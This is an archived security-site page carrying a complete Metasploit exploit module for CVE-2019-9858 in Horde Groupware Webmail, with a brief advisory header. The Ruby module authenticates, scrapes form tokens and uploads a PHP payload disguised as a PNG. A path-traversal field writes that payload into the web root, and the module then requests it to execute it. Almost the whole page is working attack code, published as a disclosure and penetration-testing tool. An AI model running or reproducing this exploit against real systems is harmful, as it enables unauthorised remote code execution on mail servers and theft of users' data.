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Horde Form Shell Upload

Horde Form Shell Upload
Posted Apr 10, 2019
Authored by Ratiosec | Site metasploit.com

Horde Groupware Webmail contains a flaw that allows an authenticated remote attacker to execute arbitrary PHP code. The exploitation requires the Turba subcomponent to be installed. This module was tested on Horde versions 5.2.22 and 5.2.17 running Horde Form subcomponent versions prior to 2.0.19.

tags | exploit, remote, arbitrary, php
advisories | CVE-2019-9858
MD5 | 77733e9ad4d5217473e6f849c3b3ec6a

Horde Form Shell Upload

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(
info,
'Name' => 'Horde Form File Upload Vulnerability',
'Description' => %q{
Horde Groupware Webmail contains a flaw that allows an authenticated remote
attacker to execute arbitrary PHP code. The exploitation requires the Turba
subcomponent to be installed.

This module was tested on Horde versions 5.2.22 and 5.2.17 running Horde Form subcomponent < 2.0.19.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Ratiosec',
],
'References' =>
[
['CVE', '2019-9858'],
['URL', 'https://www.ratiosec.com/2019/horde-groupware-webmail-authenticated-arbitrary-file-injection-to-rce/'],
],
'DisclosureDate' => 'Mar 24 2019',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' =>
[
['Automatic', { }],
],
'DefaultTarget' => 0
))

register_options(
[
OptString.new('TARGETURI', [true, 'The base path to the web application', '/']),
OptString.new('USERNAME', [true, 'The username to authenticate with']),
OptString.new('PASSWORD', [true, 'The password to authenticate with']),
OptString.new('WEB_ROOT', [true, 'Path to the web root', '/var/www/html'])
# Appears to be '/usr/share/horde/' if installed with apt
])
end

def username
datastore['USERNAME']
end

def password
datastore['PASSWORD']
end

def webroot
datastore['WEB_ROOT']
end

def horde_login(user, pass)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri, 'login.php')
)

fail_with(Failure::Unreachable, 'No response received from the target.') unless res

session_cookie = res.get_cookies
vprint_status("Logging in...")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri, 'login.php'),
'cookie' => session_cookie,
'vars_post' => {
'horde_user' => user,
'horde_pass' => pass,
'login_post' => '1'
}
)

return res.get_cookies if res && res.code == 302
[]
end

def get_tokens(cookie)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri, 'turba', 'add.php'),
'cookie' => cookie
)

if res && res.code == 200
source_tokens = res.body.scan(/turba\/add\.php\?source=(.+)"/).flatten
unless source_tokens.empty?
form_tokens = res.body.scan(/name="turba_form_addcontact_formToken" value="(.+)"/).flatten
return source_tokens[0], form_tokens[0], res.get_cookies
end
end
nil
end

def exploit
vprint_status("Authenticating using #{username}:#{password}")

cookie = horde_login(username, password)
fail_with(Failure::NoAccess, 'Unable to login. Verify USERNAME/PASSWORD or TARGETURI.') if cookie.nil? || cookie.empty?
vprint_good("Authenticated to Horde.")

tokens = get_tokens(cookie)
fail_with(Failure::Unknown, 'Error extracting tokens.') if tokens.nil?
source_token, form_token, secret_cookie = tokens

vprint_good("Tokens \"#{source_token}\", \"#{form_token}\", and cookie \"#{secret_cookie}\" found.")

payload_name = Rex::Text.rand_text_alpha_lower(10..12)
payload_path = File.join(webroot, "static", "#{payload_name}.php")
payload_path_traversal = File.join("..", payload_path)

data = Rex::MIME::Message.new
data.add_part(payload.encoded, 'image/png', nil, "form-data; name=\"object[photo][new]\"; filename=\"#{payload_name}.png\"")
data.add_part("turba_form_addcontact", nil, nil, 'form-data; name="formname"')
data.add_part(form_token, nil, nil, 'form-data; name="turba_form_addcontact_formToken"')
data.add_part(source_token, nil, nil, 'form-data; name="source"')
data.add_part(payload_path_traversal, nil, nil, 'form-data; name="object[photo][img][file]"')
post_data = data.to_s

print_status("Uploading payload to #{payload_path_traversal}")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri, 'turba', 'add.php'),
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data,
'cookie' => cookie + ' ' + secret_cookie
)

fail_with(Failure::Unknown, "Unable to upload payload to #{payload_path_traversal}.") unless res && res.code == 200

payload_url = normalize_uri(target_uri, 'static', "#{payload_name}.php")

vprint_status("Executing the payload at #{payload_url}.")
res = send_request_cgi(
'uri' => payload_url,
'method' => 'GET',
)

register_files_for_cleanup(payload_path)
end
end
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